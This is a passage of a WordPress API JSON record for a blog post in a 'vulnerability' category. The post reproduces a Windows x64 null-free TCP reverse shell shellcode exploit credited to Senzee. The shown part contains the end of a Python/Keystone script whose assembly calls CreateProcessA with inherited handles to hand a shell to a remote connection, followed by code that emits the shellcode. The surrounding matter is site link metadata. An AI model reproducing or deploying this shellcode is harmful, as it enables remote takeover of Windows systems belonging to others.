\/>\n&#8221; push rcx;&#8221; # Address of the ProcessInformation structure as the 10th parameter<br \/>\n&#8221; push rdi;&#8221; # Address of the STARTINFOA structure as the 9th parameter<br \/>\n&#8221; xor rcx, rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221; # Value of lpCurrentDirectory is 0 as the 8th parameter<br \/>\n&#8221; push rcx;&#8221; # lpEnvironment=0 as the 7th argument<br \/>\n&#8221; push rcx;&#8221; # dwCreationFlags=0 as the 6th argument<br \/>\n&#8221; inc rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221; # Value of bInheritHandles is 1 as the 5th parameter<br \/>\n&#8221; dec cl;&#8221;<br \/>\n&#8221; push rcx;&#8221; # Reserve space for the function return area (4th parameter)<br \/>\n&#8221; push rcx;&#8221; # Reserve space for the function return area (3rd parameter)<br \/>\n&#8221; push rcx;&#8221; # Reserve space for the function return area (2nd parameter)<br \/>\n&#8221; push rcx;&#8221; # Reserve space for the function return area (1st parameter)<br \/>\n&#8221; mov r8, rcx;&#8221; # lpProcessAttributes value is 0 as the 3rd parameter<br \/>\n&#8221; mov r9, rcx;&#8221; # lpThreatAttributes value is 0 as the 4th parameter<br \/>\n&#8221; call rax;&#8221; # Call CreateProcessA<br \/>\n)<\/p>\n<p>ks = Ks(KS_ARCH_X86, KS_MODE_64)<br \/>\nencoding, count = ks.asm(CODE)<br \/>\noutput_shellcode(lan,encoding,var,save)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>import ctypes, struct import argparse from keystone import * # Exploit Title: Windows\/x64 &#8211; PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes) # Exploit Author: Senzee # Date: 08\/29\/2023 # Platform: Windows X64 # Tested on: Windows 11 Home\/Windows Server 2022 Standard\/Windows Server 2019 Datacenter # OS Version (respectively): 10.0.22621 \/10.0.20348 \/10.0.17763 # Test IP: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-48096","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/48096","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=48096"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/48096\/revisions"}],"predecessor-version":[{"id":48330,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/48096\/revisions\/48330"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=48096"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=48096"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=48096"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}